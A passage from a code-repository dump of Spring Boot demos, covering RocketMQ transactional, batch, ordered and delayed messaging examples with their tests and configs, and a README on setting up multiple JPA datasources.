RocketMQLocalTransactionState.COMMIT;\n            }\n\n            //不知道状态，转 checkLocalTransaction 回查执行\n            log.info(\"MQ无法确定，等回查！payload ={} \", payload);\n            return RocketMQLocalTransactionState.UNKNOWN;\n        } catch (Exception e) {\n            log.error(\"事务消息出错啦~ e:{}\", e.getMessage(), e);\n            //回滚\n            return RocketMQLocalTransactionState.ROLLBACK;\n        }\n    }\n\n\n    /**\n     * 该方法时MQ进行消息事务状态回查、\n     * <p>\n     *\n     * @param msg\n     * @return bollback, commit or unknown\n     */\n    @Override\n    public RocketMQLocalTransactionState checkLocalTransaction(Message msg) {\n        log.info(\">>>> MQ事务执行器，事务状态回查 message={} <<<<\", msg);\n        try {\n            String jsonString = new String((byte[]) msg.getPayload(), StandardCharsets.UTF_8);\n            OrderPaidEvent payload = JSON.parseObject(jsonString, OrderPaidEvent.class);\n\n            log.info(\"事务回查：checkLocalTransaction提交事务啦！payload ={} \", payload);\n            return RocketMQLocalTransactionState.COMMIT;\n        } catch (Exception e) {\n            log.error(\"回调的事务出错啦~ e:{}\", e.getMessage(), e);\n            return RocketMQLocalTransactionState.ROLLBACK;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-producer/src/main/resources/application.yml",
    "content": "server:\n  port: 8094\nspring:\n  application:\n    name: rocketmq-producer\n\nrocketmq:\n  name-server: 127.0.0.1:9876          # rocketMQ的名称服务器，格式为:' host:port;host:port '。\n  # 生产端配置\n  producer:\n    group: ${spring.application.name}  # 生产着组名\n    #access-key: access-key            # rocketMQ服务端配置acl授权信息，没有则不需要\n    #secret-key: secret-key            # rocketMQ服务端配置acl授权信息，没有则不需要\n  # 消费端配置\n#  consumer:\n#    access-key: access-key            #如果开启了acl，一定要配置。否则集群模式下会正常，广播模式消费端会失效！\n#    secret-key: secret-key            #如果开启了acl，一定要配置。否则集群模式下会正常，广播模式消费端会失效！\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-producer/src/test/java/com/exanmple/RocketMQProducerTest.java",
    "content": "package com.exanmple;\n\nimport com.example.RocketMQProducerApplication;\nimport com.example.dto.BatchDto;\nimport com.example.dto.OrderPaidEvent;\nimport com.example.dto.OrderStep;\nimport com.example.service.IRocketMQService;\nimport lombok.SneakyThrows;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.rocketmq.client.producer.SendCallback;\nimport org.apache.rocketmq.client.producer.SendResult;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\nimport java.math.BigDecimal;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * <p>\n * 测试类\n * </p>\n *\n * @author MrWen\n **/\n@Slf4j\n@RunWith(SpringRunner.class)\n@SpringBootTest(classes = RocketMQProducerApplication.class)\npublic class RocketMQProducerTest {\n    @Autowired\n    private IRocketMQService rocketMQService;\n\n\n    /**\n     * 发送同步消息\n     */\n    @Test\n    public void sendMessage() {\n        for (int i = 0; i < 10; i++) {\n            //广播消费端下的同步消息\n            rocketMQService.sendMessage(\"Consumer_Broadcast\", \"广播同步消息\" + i);\n            //集群消费端下的同步消息\n            rocketMQService.sendMessage(\"Consumer_Cluster\", \"集群同步消息\" + i);\n//            rocketMQService.sendMessage(\"Consumer_Cluster\", null, i + \"\", \"集群同步消息\" + i);\n        }\n    }\n\n    /**\n     * 发送同步消息-Tag过滤模式\n     */\n    @Test\n    public void sendMessageByTag() {\n        rocketMQService.sendMessage(\"Consumer_Tag\", \"tag1\", \"过滤同步消息tag1\");\n        rocketMQService.sendMessage(\"Consumer_Tag\", \"tag2\", \"过滤同步消息tag2\");\n        rocketMQService.sendMessage(\"Consumer_Tag\", \"tag3\", \"过滤同步消息tag3\");\n    }\n\n    /**\n     * 发送同步消息-发送同步消息-SQL92模式\n     */\n    @Test\n    public void sendMessageBySql() {\n        Map<String, Object> map = new HashMap<>();\n        for (int i = 0; i < 10; i++) {\n            map.put(\"a\", i);\n            map.put(\"b\", i % 2 == 0 ? \"sql\" : \"notSql\");\n            rocketMQService.sendMessageBySql(\"Consumer_SQL\", map, \"SQL92模式消息  map=\" + map);\n        }\n    }\n\n\n    /**\n     * 发送异步消息\n     */\n    @SneakyThrows\n    @Test\n    public void sendAsyncMessage() {\n        for (int i = 0; i < 10; i++) {\n            rocketMQService.sendAsyncMessage(\"Consumer_Cluster\", \"集群异步消息\" + i, new SendCallback() {\n                //发送成功\n                @Override\n                public void onSuccess(SendResult sendResult) {\n                    log.info(\"集群异步消息发送成功啦！sendResult={}\", sendResult);\n                }\n\n                //发送失败\n                @Override\n                public void onException(Throwable e) {\n                    log.error(\"集群异步消息发送失败啦！原因={}\", e.getMessage(), e);\n                }\n            });\n        }\n\n        //先睡20秒，避免还没发送完毕就关闭了\n        TimeUnit.SECONDS.sleep(20L);\n    }\n\n\n    /**\n     * 发送单向消息\n     */\n    @Test\n    public void sendOneway() {\n        for (int i = 0; i < 10; i++) {\n            rocketMQService.sendOneway(\"Consumer_Cluster\", \"集群单向消息\" + i);\n        }\n    }\n\n\n    /**\n     * 发送批量消息（小批量）\n     */\n    @Test\n    public void sendBatchMessage() {\n        //演示发送实体类型\n        List<BatchDto> batchDtoList = new ArrayList<>();\n        for (int i = 0; i < 10; i++) {\n            batchDtoList.add(\n                    BatchDto.builder()\n                            .id(i)\n                            .message(\"发送批量消息Dto类型\" + i)\n                            .build());\n        }\n        rocketMQService.sendBatchMessage(\"Consumer_Batch\", batchDtoList);\n        log.info(\"=================发送Consumer_Batch主题完毕=================\");\n\n        //演示发送String类型\n        List<String> stringList = new ArrayList<>();\n        for (int i = 0; i < 10; i++) {\n            stringList.add(\"发送批量消息String类型\" + i);\n        }\n//        rocketMQService.sendBatchMessage(\"Consumer_Cluster\",\"A\",null,stringList);\n        rocketMQService.sendBatchMessage(\"Consumer_Cluster\", stringList);\n        log.info(\"=================发送Consumer_Cluster完毕=================\");\n    }\n\n\n    /**\n     * 发送批量消息（大批量，超过4MB）\n     */\n    @Test\n    @SneakyThrows\n    public void sendBatchMessage2() {\n        //演示发送实体类型\n        List<BatchDto> batchDtoList = new ArrayList<>(1000000);\n        for (int i = 0; i < 1000000; i++) {\n            batchDtoList.add(\n                    BatchDto.builder()\n                            .id(i)\n                            .message(\"发送批量消息Dto类型\" + i)\n                            .build());\n        }\n        rocketMQService.sendBatchMessage(\"Consumer_Batch\", batchDtoList);\n        log.info(\"=================发送Consumer_Batch主题完毕=================\");\n\n        Thread.sleep(200000);\n    }\n\n\n    /**\n     * 发送延时消息\n     */\n    @Test\n    public void sendDelayLevel() {\n        this.rocketMQService.sendDelayLevel(\"Consumer_Cluster\", \"集群延时消息\", 4);\n    }\n\n    /**\n     * 发送顺序消息-分区有序\n     */\n    @Test\n    public void sendInOrder() {\n        // 订单列表\n        List<OrderStep> orderList = this.buildOrders();\n\n        //循环一下，增加测试样本\n//        for (int i = 0; i < 10; i++) {\n        for (OrderStep orderStep : orderList) {\n            this.rocketMQService.sendInOrder(\"Consumer_InOrder\", orderStep, orderStep.getOrderId() + \"\");\n        }\n//        }\n    }\n\n    /**\n     * 发送事务消息（一定要做幂等性处理（其实所有消息都要做幂等性。。））\n     */\n    @Test\n    @SneakyThrows\n    public void sendMessageInTransaction() {\n        OrderPaidEvent build = OrderPaidEvent.builder()\n                .orderId(\"123\")\n                .msg(\"事务消息-开始支付\")\n                .paidMoney(new BigDecimal(2))\n                .build();\n        this.rocketMQService.sendMessageInTransaction(\"Consumer_Transaction\", build, \"test\");\n\n        //先睡200秒，避免还没发送完毕就关闭了\n        TimeUnit.SECONDS.sleep(200L);\n    }\n\n\n    /**\n     * 生成模拟订单数据\n     */\n    private List<OrderStep> buildOrders() {\n        List<OrderStep> orderList = new ArrayList<>();\n\n        OrderStep orderDemo = new OrderStep();\n        orderDemo.setOrderId(15103111039L);\n        orderDemo.setDesc(\"创建\");\n        orderList.add(orderDemo);\n\n        orderDemo = new OrderStep();\n        orderDemo.setOrderId(15103111065L);\n        orderDemo.setDesc(\"创建\");\n        orderList.add(orderDemo);\n\n        orderDemo = new OrderStep();\n        orderDemo.setOrderId(15103111039L);\n        orderDemo.setDesc(\"付款\");\n        orderList.add(orderDemo);\n\n        orderDemo = new OrderStep();\n        orderDemo.setOrderId(15103117235L);\n        orderDemo.setDesc(\"创建\");\n        orderList.add(orderDemo);\n\n        orderDemo = new OrderStep();\n        orderDemo.setOrderId(15103111065L);\n        orderDemo.setDesc(\"付款\");\n        orderList.add(orderDemo);\n\n        orderDemo = new OrderStep();\n        orderDemo.setOrderId(15103117235L);\n        orderDemo.setDesc(\"付款\");\n        orderList.add(orderDemo);\n\n        orderDemo = new OrderStep();\n        orderDemo.setOrderId(15103111065L);\n        orderDemo.setDesc(\"完成\");\n        orderList.add(orderDemo);\n\n        orderDemo = new OrderStep();\n        orderDemo.setOrderId(15103111039L);\n        orderDemo.setDesc(\"推送\");\n        orderList.add(orderDemo);\n\n        orderDemo = new OrderStep();\n        orderDemo.setOrderId(15103117235L);\n        orderDemo.setDesc(\"完成\");\n        orderList.add(orderDemo);\n\n        orderDemo = new OrderStep();\n        orderDemo.setOrderId(15103111039L);\n        orderDemo.setDesc(\"完成\");\n        orderList.add(orderDemo);\n\n        return orderList;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq-simple/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <artifactId>spring-boot-demo</artifactId>\n        <groupId>com.example</groupId>\n        <version>1.0-SNAPSHOT</version>\n        <relativePath>../../pom.xml</relativePath>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>spring-boot-rocketmq-simple</artifactId>\n\n    <properties>\n        <maven.compiler.source>11</maven.compiler.source>\n        <maven.compiler.target>11</maven.compiler.target>\n    </properties>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq-simple/rocketmq-consumer-simple/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.3.2.RELEASE</version>\n        <relativePath/>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>rocketmq-consumer-simple</artifactId>\n\n    <properties>\n        <maven.compiler.source>11</maven.compiler.source>\n        <maven.compiler.target>11</maven.compiler.target>\n        <spring-boot-version>2.3.2.RELEASE</spring-boot-version>\n    </properties>\n\n    <dependencies>\n        <!-- 配置web启动器 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <!-- 测试 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n        </dependency>\n\n        <!-- rocketMQ -->\n        <dependency>\n            <groupId>org.apache.rocketmq</groupId>\n            <artifactId>rocketmq-spring-boot-starter</artifactId>\n            <version>2.1.1</version>\n        </dependency>\n\n        <!-- lombok插件 -->\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <version>${spring-boot-version}</version>\n            </plugin>\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq-simple/rocketmq-consumer-simple/src/main/java/com/example/RocketMQSimpleConsumerApplication.java",
    "content": "package com.example;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @author MrWen\n * @since 2022-01-06 16:17\n */\n@SpringBootApplication\npublic class RocketMQSimpleConsumerApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(RocketMQSimpleConsumerApplication.class);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq-simple/rocketmq-consumer-simple/src/main/java/com/example/service/Consumer.java",
    "content": "package com.example.service;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.rocketmq.spring.annotation.RocketMQMessageListener;\nimport org.apache.rocketmq.spring.core.RocketMQListener;\nimport org.springframework.stereotype.Component;\n\nimport java.util.Random;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * <p>\n * 消费者\n * </p>\n *\n * @author MrWen\n * @since 2022-01-06 16:29\n */\n@Slf4j\n@Component\n@RocketMQMessageListener(\n        topic = \"simple\",//主题\n        consumerGroup = \"simple-consumer-group\"//消费组\n)\npublic class Consumer implements RocketMQListener<String> {\n\n\n    @Override\n    public void onMessage(String message) {\n        Random random = new Random();\n        try {\n            //模拟业务逻辑处理中...\n            TimeUnit.SECONDS.sleep(random.nextInt(10));\n            log.info(\"Receive message: {}  ThreadName: {}\", message, Thread.currentThread().getName());\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq-simple/rocketmq-consumer-simple/src/main/resources/application.yml",
    "content": "server:\n  port: 8092\nspring:\n  application:\n    name: rocketmq-consumer-simple\n\nrocketmq:\n  name-server: 127.0.0.1:9876          # rocketMQ的名称服务器，格式为:' host:port;host:port '。\n  # 生产端配置\n  producer:\n    group: ${spring.application.name}  # 生产着组名\n    #access-key: access-key            # rocketMQ服务端配置acl授权信息，没有则不需要\n    #secret-key: secret-key            # rocketMQ服务端配置acl授权信息，没有则不需要\n  # 消费端配置\n#  consumer:\n#    access-key: access-key            #如果开启了acl，一定要配置。否则集群模式下会正常，广播模式消费端会失效！\n#    secret-key: secret-key            #如果开启了acl，一定要配置。否则集群模式下会正常，广播模式消费端会失效！\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq-simple/rocketmq-producer-simple/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.3.2.RELEASE</version>\n        <relativePath/>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>rocketmq-producer-simple</artifactId>\n\n    <properties>\n        <maven.compiler.source>11</maven.compiler.source>\n        <maven.compiler.target>11</maven.compiler.target>\n        <spring-boot-version>2.3.2.RELEASE</spring-boot-version>\n    </properties>\n\n    <dependencies>\n        <!-- 配置web启动器 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <!-- 测试 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n        </dependency>\n\n        <!-- rocketMQ -->\n        <dependency>\n            <groupId>org.apache.rocketmq</groupId>\n            <artifactId>rocketmq-spring-boot-starter</artifactId>\n            <version>2.1.1</version>\n        </dependency>\n\n        <!-- lombok插件 -->\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <version>${spring-boot-version}</version>\n            </plugin>\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq-simple/rocketmq-producer-simple/src/main/java/com/example/RocketMQSimpleProducerApplication.java",
    "content": "package com.example;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @author MrWen\n * @since 2022-01-06 16:11\n */\n@SpringBootApplication\npublic class RocketMQSimpleProducerApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(RocketMQSimpleProducerApplication.class);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq-simple/rocketmq-producer-simple/src/main/resources/application.yml",
    "content": "server:\n  port: 8093\nspring:\n  application:\n    name: rocketmq-producer-simple\n\nrocketmq:\n  name-server: 127.0.0.1:9876          # rocketMQ的名称服务器，格式为:' host:port;host:port '。\n  # 生产端配置\n  producer:\n    group: ${spring.application.name}  # 生产着组名\n    #access-key: access-key            # rocketMQ服务端配置acl授权信息，没有则不需要\n    #secret-key: secret-key            # rocketMQ服务端配置acl授权信息，没有则不需要\n  # 消费端配置\n#  consumer:\n#    access-key: access-key            #如果开启了acl，一定要配置。否则集群模式下会正常，广播模式消费端会失效！\n#    secret-key: secret-key            #如果开启了acl，一定要配置。否则集群模式下会正常，广播模式消费端会失效！\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq-simple/rocketmq-producer-simple/src/test/java/com/example/ProducerSimpleTest.java",
    "content": "package com.example;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.rocketmq.client.producer.SendResult;\nimport org.apache.rocketmq.spring.core.RocketMQTemplate;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n/**\n * <p>\n * rabbitmq测试\n * </p>\n *\n * @author MrWen\n * @since 2022-01-06 16:37\n */\n@Slf4j\n@RunWith(SpringRunner.class)\n@SpringBootTest(classes = RocketMQSimpleProducerApplication.class)\npublic class ProducerSimpleTest {\n\n    @Autowired\n    private RocketMQTemplate rocketMQTemplate;\n\n\n    @Test\n    public void sendMessage() {\n        String key = \"simple\";\n        for (int i = 0; i < 50; i++) {\n            String message = \"发送同步消息,msg=\" + i;\n            /*\n            第一个参数，主题名:标签 topicName:tags\n            第二个参数：发送对象\n             */\n            SendResult sendResult = this.rocketMQTemplate.syncSend(key, message);\n            log.info(\"MQ发送同步消息成功,key={} msg={},sendResult={}\", key, message, sendResult);\n        }\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_jpa/README.md",
    "content": "# spring-boot-demo-multi-datasource-jpa\n\n> 此 demo 主要演示 Spring Boot 如何集成 JPA 的多数据源。\n\n## pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>spring-boot-demo-multi-datasource-jpa</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n    <packaging>jar</packaging>\n\n    <name>spring-boot-demo-multi-datasource-jpa</name>\n    <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>com.xkcoding</groupId>\n        <artifactId>spring-boot-demo</artifactId>\n        <version>1.0.0-SNAPSHOT</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-jpa</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.google.guava</groupId>\n            <artifactId>guava</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>spring-boot-demo-multi-datasource-jpa</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n```\n\n## PrimaryDataSourceConfig.java\n\n> 主数据源配置\n\n```java\n/**\n * <p>\n * JPA多数据源配置 - 主数据源\n * </p>\n *\n * @package: com.xkcoding.multi.datasource.jpa.config\n * @description: JPA多数据源配置 - 主数据源\n * @author: yangkai.shen\n * @date: Created in 2019-01-17 15:58\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\npublic class PrimaryDataSourceConfig {\n\n    /**\n     * 扫描spring.datasource.primary开头的配置信息\n     *\n     * @return 数据源配置信息\n     */\n    @Primary\n    @Bean(name = \"primaryDataSourceProperties\")\n    @ConfigurationProperties(prefix = \"spring.datasource.primary\")\n    public DataSourceProperties dataSourceProperties() {\n        return new DataSourceProperties();\n    }\n\n    /**\n     * 获取主库数据源对象\n     *\n     * @param dataSourceProperties 注入名为primaryDataSourceProperties的bean\n     * @return 数据源对象\n     */\n    @Primary\n    @Bean(name = \"primaryDataSource\")\n    public DataSource dataSource(@Qualifier(\"primaryDataSourceProperties\") DataSourceProperties dataSourceProperties) {\n        return dataSourceProperties.initializeDataSourceBuilder().build();\n    }\n\n    /**\n     * 该方法仅在需要使用JdbcTemplate对象时选用\n     *\n     * @param dataSource 注入名为primaryDataSource的bean\n     * @return 数据源JdbcTemplate对象\n     */\n    @Primary\n    @Bean(name = \"primaryJdbcTemplate\")\n    public JdbcTemplate jdbcTemplate(@Qualifier(\"primaryDataSource\") DataSource dataSource) {\n        return new JdbcTemplate(dataSource);\n    }\n\n}\n```\n\n## SecondDataSourceConfig.java\n\n> 从数据源配置\n\n```java\n/**\n * <p>\n * JPA多数据源配置 - 次数据源\n * </p>\n *\n * @package: com.xkcoding.multi.datasource.jpa.config\n * @description: JPA多数据源配置 - 次数据源\n * @author: yangkai.shen\n * @date: Created in 2019-01-17 15:58\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\npublic class SecondDataSourceConfig {\n\n    /**\n     * 扫描spring.datasource.second开头的配置信息\n     *\n     * @return 数据源配置信息\n     */\n    @Bean(name = \"secondDataSourceProperties\")\n    @ConfigurationProperties(prefix = \"spring.datasource.second\")\n    public DataSourceProperties dataSourceProperties() {\n        return new DataSourceProperties();\n    }\n\n    /**\n     * 获取主库数据源对象\n     *\n     * @param dataSourceProperties 注入名为secondDataSourceProperties的bean\n     * @return 数据源对象\n     */\n    @Bean(name = \"secondDataSource\")\n    public DataSource dataSource(@Qualifier(\"secondDataSourceProperties\") DataSourceProperties dataSourceProperties) {\n        return dataSourceProperties.initializeDataSourceBuilder().build();\n    }\n\n    /**\n     * 该方法仅在需要使用JdbcTemplate对象时选用\n     *\n     * @param dataSource 注入名为secondDataSource的bean\n     * @return 数据源JdbcTemplate对象\n     */\n    @Bean(name = \"secondJdbcTemplate\")\n    public JdbcTemplate jdbcTemplate(@Qualifier(\"secondDataSource\") DataSource dataSource) {\n        return new JdbcTemplate(dataSource);\n    }\n\n}\n```\n\n## PrimaryJpaConfig.java\n\n> 主 JPA 配置\n\n```java\n/**\n * <p>\n * JPA多数据源配置 - 主 JPA 配置\n * </p>\n *\n * @package: com.xkcoding.multi.datasource.jpa.config\n * @description: JPA多数据源配置 - 主 JPA 配置\n * @author: yangkai.shen\n * @date: Created in 2019-01-17 16:54\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\n@EnableTransactionManagement\n@EnableJpaRepositories(\n        // repository包名\n        basePackages = PrimaryJpaConfig.REPOSITORY_PACKAGE,\n        // 实体管理bean名称\n        entityManagerFactoryRef = \"primaryEntityManagerFactory\",\n        // 事务管理bean名称\n        transactionManagerRef = \"primaryTransactionManager\")\npublic class PrimaryJpaConfig {\n    static final String REPOSITORY_PACKAGE = \"com.xkcoding.multi.datasource.jpa.repository.primary\";\n    private static final String ENTITY_PACKAGE = \"com.xkcoding.multi.datasource.jpa.entity.primary\";\n\n\n    /**\n     * 扫描spring.jpa.primary开头的配置信息\n     *\n     * @return jpa配置信息\n     */\n    @Primary\n    @Bean(name = \"primaryJpaProperties\")\n    @ConfigurationProperties(prefix = \"spring.jpa.primary\")\n    public JpaProperties jpaProperties() {\n        return new JpaProperties();\n    }\n\n    /**\n     * 获取主库实体管理工厂对象\n     *\n     * @param primaryDataSource 注入名为primaryDataSource的数据源\n     * @param jpaProperties     注入名为primaryJpaProperties的jpa配置信息\n     * @param builder           注入EntityManagerFactoryBuilder\n     * @return 实体管理工厂对象\n     */\n    @Primary\n    @Bean(name = \"primaryEntityManagerFactory\")\n    public LocalContainerEntityManagerFactoryBean entityManagerFactory(@Qualifier(\"primaryDataSource\") DataSource primaryDataSource, @Qualifier(\"primaryJpaProperties\") JpaProperties jpaProperties, EntityManagerFactoryBuilder builder) {\n        return builder\n                // 设置数据源\n                .dataSource(primaryDataSource)\n                // 设置jpa配置\n                .properties(jpaProperties.getProperties())\n                // 设置实体包名\n                .packages(ENTITY_PACKAGE)\n                // 设置持久化单元名，用于@PersistenceContext注解获取EntityManager时指定数据源\n                .persistenceUnit(\"primaryPersistenceUnit\").build();\n    }\n\n    /**\n     * 获取实体管理对象\n     *\n     * @param factory 注入名为primaryEntityManagerFactory的bean\n     * @return 实体管理对象\n     */\n    @Primary\n    @Bean(name = \"primaryEntityManager\")\n    public EntityManager entityManager(@Qualifier(\"primaryEntityManagerFactory\") EntityManagerFactory factory) {\n        return factory.createEntityManager();\n    }\n\n    /**\n     * 获取主库事务管理对象\n     *\n     * @param factory 注入名为primaryEntityManagerFactory的bean\n     * @return 事务管理对象\n     */\n    @Primary\n    @Bean(name = \"primaryTransactionManager\")\n    public PlatformTransactionManager transactionManager(@Qualifier(\"primaryEntityManagerFactory\") EntityManagerFactory factory) {\n        return new JpaTransactionManager(factory);\n    }\n\n}\n```\n\n## SecondJpaConfig.java\n\n> 从 JPA 配置\n\n```java\n/**\n * <p>\n * JPA多数据源配置 - 次 JPA 配置\n * </p>\n *\n * @package: com.xkcoding.multi.datasource.jpa.config\n * @description: JPA多数据源配置 - 次 JPA 配置\n * @author: yangkai.shen\n * @date: Created in 2019-01-17 16:54\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\n@EnableTransactionManagement\n@EnableJpaRepositories(\n        // repository包名\n        basePackages = SecondJpaConfig.REPOSITORY_PACKAGE,\n        // 实体管理bean名称\n        entityManagerFactoryRef = \"secondEntityManagerFactory\",\n        // 事务管理bean名称\n        transactionManagerRef = \"secondTransactionManager\")\npublic class SecondJpaConfig {\n    static final String REPOSITORY_PACKAGE = \"com.xkcoding.multi.datasource.jpa.repository.second\";\n    private static final String ENTITY_PACKAGE = \"com.xkcoding.multi.datasource.jpa.entity.second\";\n\n\n    /**\n     * 扫描spring.jpa.second开头的配置信息\n     *\n     * @return jpa配置信息\n     */\n    @Bean(name = \"secondJpaProperties\")\n    @ConfigurationProperties(prefix = \"spring.jpa.second\")\n    public JpaProperties jpaProperties() {\n        return new JpaProperties();\n    }\n\n    /**\n     * 获取主库实体管理工厂对象\n     *\n     * @param secondDataSource 注入名为secondDataSource的数据源\n     * @param jpaProperties    注入名为secondJpaProperties的jpa配置信息\n     * @param builder          注入EntityManagerFactoryBuilder\n     * @return 实体管理工厂对象\n     */\n    @Bean(name = \"secondEntityManagerFactory\")\n    public LocalContainerEntityManagerFactoryBean entityManagerFactory(@Qualifier(\"secondDataSource\") DataSource secondDataSource, @Qualifier(\"secondJpaProperties\") JpaProperties jpaProperties, EntityManagerFactoryBuilder builder) {\n        return builder\n                // 设置数据源\n                .dataSource(secondDataSource)\n                // 设置jpa配置\n                .properties(jpaProperties.getProperties())\n                // 设置实体包名\n                .packages(ENTITY_PACKAGE)\n                // 设置持久化单元名，用于@PersistenceContext注解获取EntityManager时指定数据源\n                .persistenceUnit(\"secondPersistenceUnit\").build();\n    